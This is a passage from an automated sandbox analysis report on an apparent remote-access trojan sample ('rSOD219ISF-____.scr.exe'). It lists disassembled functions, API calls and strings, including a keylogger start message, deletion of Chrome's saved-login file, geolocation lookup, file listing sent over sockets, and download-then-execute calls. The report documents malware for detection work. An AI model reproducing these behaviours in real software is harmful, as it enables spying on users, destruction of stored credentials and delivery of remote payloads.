                                                                                                                              • Opcode ID: 7d52df1408e09a8eb3982e7da52f878f0a451a5f56a7a2098f3d013e22341463
                                                                                                                              • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                                                                                                                              • Opcode Fuzzy Hash: 7d52df1408e09a8eb3982e7da52f878f0a451a5f56a7a2098f3d013e22341463
                                                                                                                              • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                                                                                                                              Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                                                                                                                              • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                                                                                                                              • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                                                                                                                              • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                                                                                                                              • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                                                                                                                              Strings
                                                                                                                              • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Internet$CloseHandleOpen$FileRead
                                                                                                                              • String ID: http://geoplugin.net/json.gp
                                                                                                                              • API String ID: 3121278467-91888290
                                                                                                                              • Opcode ID: 93fb62275c9c30ece467367bc9d260af9d028c0859994e7c2f4e10a89ee4ed45
                                                                                                                              • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                                                                                                                              • Opcode Fuzzy Hash: 93fb62275c9c30ece467367bc9d260af9d028c0859994e7c2f4e10a89ee4ed45
                                                                                                                              • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                                                                                                                              Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                                                                                                                              • GetLastError.KERNEL32 ref: 0040BA58
                                                                                                                              Strings
                                                                                                                              • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                                                                                                                              • [Chrome StoredLogins not found], xrefs: 0040BA72
                                                                                                                              • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                                                                                                                              • UserProfile, xrefs: 0040BA1E
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: DeleteErrorFileLast
                                                                                                                              • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                                                              • API String ID: 2018770650-1062637481
                                                                                                                              • Opcode ID: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
                                                                                                                              • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                                                                                                                              • Opcode Fuzzy Hash: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
                                                                                                                              • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                                                                                                                              Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                                                                                                              • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                                                                                                              • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                                                                                                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                                                                                                              • GetLastError.KERNEL32 ref: 0041799D
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                              • String ID: SeShutdownPrivilege
                                                                                                                              • API String ID: 3534403312-3733053543
                                                                                                                              • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                                                                                                              • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                                                                                                                              • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                                                                                                              • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                                                                                                                              Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __EH_prolog.LIBCMT ref: 00409258
                                                                                                                                • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                                                                                                                              • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 004093C1
                                                                                                                                • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                                                                                                                • Part of subcall function 00404E26: SetEvent.KERNEL32(?), ref: 00404E43
                                                                                                                                • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                                                                                                                              • FindClose.KERNEL32(00000000), ref: 004095B9
                                                                                                                                • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                                                                                                                • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1824512719-0
                                                                                                                              • Opcode ID: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
                                                                                                                              • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                                                                                                                              • Opcode Fuzzy Hash: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
                                                                                                                              • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                                                                                                                              Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                                                                                                                              • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                                                                                                                              • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                                                                                                                              • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 276877138-0
                                                                                                                              • Opcode ID: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                                                                                                              • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                                                                                                                              • Opcode Fuzzy Hash: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                                                                                                              • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                                                                                                                              Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00413549: RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,00000000,00000000), ref: 00413569
                                                                                                                                • Part of subcall function 00413549: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 00413587
                                                                                                                                • Part of subcall function 00413549: RegCloseKey.ADVAPI32(00000000), ref: 00413592
                                                                                                                              • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                                                                                                                              • ExitProcess.KERNEL32 ref: 0040F8CA
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                                                              • String ID: 5.1.0 Pro$override$pth_unenc
                                                                                                                              • API String ID: 2281282204-182549033
                                                                                                                              • Opcode ID: bc1be6459073602c737430f7b82db798cb6416b862091f8f7e094519bbbbbb63
                                                                                                                              • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                                                                                                                              • Opcode Fuzzy Hash: bc1be6459073602c737430f7b82db798cb6416b862091f8f7e094519bbbbbb63
                                                                                                                              • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                                                                                                                              Function 0045243C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 004524D5
                                                                                                                              • GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 004524FE
                                                                                                                              • GetACP.KERNEL32 ref: 00452513
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: InfoLocale
                                                                                                                              • String ID: ACP$OCP
                                                                                                                              • API String ID: 2299586839-711371036
                                                                                                                              • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                                                                                                              • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                                                                                                                              • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                                                                                                              • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                                                                                                                              Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                                                              • wsprintfW.USER32 ref: 0040B1F3
                                                                                                                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: EventLocalTimewsprintf
                                                                                                                              • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                                                                                                              • API String ID: 1497725170-248792730
                                                                                                                              • Opcode ID: 48ae87abe5a633f6dbf757c3d9d37f4c5ebff31f90a39cbd1b197af817f8fe73
                                                                                                                              • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                                                                                                                              • Opcode Fuzzy Hash: 48ae87abe5a633f6dbf757c3d9d37f4c5ebff31f90a39cbd1b197af817f8fe73
                                                                                                                              • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                                                                                                                              Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041B4B9
                                                                                                                              • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                                                                                                                              • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                                                                                                                              • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Resource$FindLoadLockSizeof
                                                                                                                              • String ID: SETTINGS
                                                                                                                              • API String ID: 3473537107-594951305
                                                                                                                              • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                                                                                                              • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                                                                                                                              • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                                                                                                              • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                                                                                                                              Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __EH_prolog.LIBCMT ref: 0040966A
                                                                                                                              • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                                                                                                                              • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$File$CloseFirstH_prologNext
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1157919129-0
                                                                                                                              • Opcode ID: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
                                                                                                                              • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                                                                                                                              • Opcode Fuzzy Hash: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
                                                                                                                              • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                                                                                                                              Function 00452610 Relevance: 7.7, APIs: 5, Instructions: 188COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                                                              • GetUserDefaultLCID.KERNEL32 ref: 0045271C
                                                                                                                              • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                                                                                                                              • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                                                                                                                              • GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                                                                                                                              • GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 004527ED
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 745075371-0
                                                                                                                              • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                                                                                                              • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                                                                                                                              • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                                                                                                                              • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                                                                                                                              Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __EH_prolog.LIBCMT ref: 00408811
                                                                                                                              • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                                                                                                              • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Find$File$CloseException@8FirstH_prologNextThrow
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1771804793-0
                                                                                                                              • Opcode ID: 9b645307c49ece523b116fa648223e4d0ed288365c05ee1dbdf173a36bd7f3be
                                                                                                                              • Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
                                                                                                                              • Opcode Fuzzy Hash: 9b645307c49ece523b116fa648223e4d0ed288365c05ee1dbdf173a36bd7f3be
                                                                                                                              • Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99
                                                                                                                              Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                                                                                                                              • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: DownloadExecuteFileShell
                                                                                                                              • String ID: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe$open
                                                                                                                              • API String ID: 2825088817-1013552455
                                                                                                                              • Opcode ID: 2b237405c553a9a1b0e8afa968ba7ab87aca62d7634961c01fb43f6f663e2fce
                                                                                                                              • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                                                                                                                              • Opcode Fuzzy Hash: 2b237405c553a9a1b0e8afa968ba7ab87aca62d7634961c01fb43f6f663e2fce
                                                                                                                              • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                                                                                                                              Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
                                                                                                                              • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: FileFind$FirstNextsend
                                                                                                                              • String ID: XPG$XPG
                                                                                                                              • API String ID: 4113138495-1962359302
                                                                                                                              • Opcode ID: ab691d252adf93a793db7f637d0c661f35909e30d32946a99fdb273c158dd0c5
                                                                                                                              • Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
                                                                                                                              • Opcode Fuzzy Hash: ab691d252adf93a793db7f637d0c661f35909e30d32946a99fdb273c158dd0c5
                                                                                                                              • Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B
                                                                                                                              Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CAD7
                                                                                                                                • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
                                                                                                                                • Part of subcall function 0041376F: RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000), ref: 004137A6
                                                                                                                                • Part of subcall function 0041376F: RegCloseKey.ADVAPI32(0046611C,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000,?,0040875D,00000001), ref: 004137B1
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCreateInfoParametersSystemValue
                                                                                                                              • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                                                              • API String ID: 4127273184-3576401099
                                                                                                                              • Opcode ID: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
                                                                                                                              • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                                                                                                                              • Opcode Fuzzy Hash: 3c2d205688c6346916b5703b91afcadbe5e4724bf31c27c5056ca6af97e88c58
                                                                                                                              • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                                                                                                                              Function 004432B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetCurrentProcess.KERNEL32(00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG,00446136,00000003), ref: 004432D6
                                                                                                                              • TerminateProcess.KERNEL32(00000000), ref: 004432DD
                                                                                                                              • ExitProcess.KERNEL32 ref: 004432EF
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 1703294689-263838557
                                                                                                                              • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                                                                                                              • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                                                                                                                              • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                                                                                                              • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                                                                                                                              Function 00451CD8 Relevance: 6.2, APIs: 4, Instructions: 236COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                              • IsValidCodePage.KERNEL32(00000000), ref: 00451DBA
                                                                                                                              • _wcschr.LIBVCRUNTIME ref: 00451E4A
                                                                                                                              • _wcschr.LIBVCRUNTIME ref: 00451E58
                                                                                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00451EFB
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
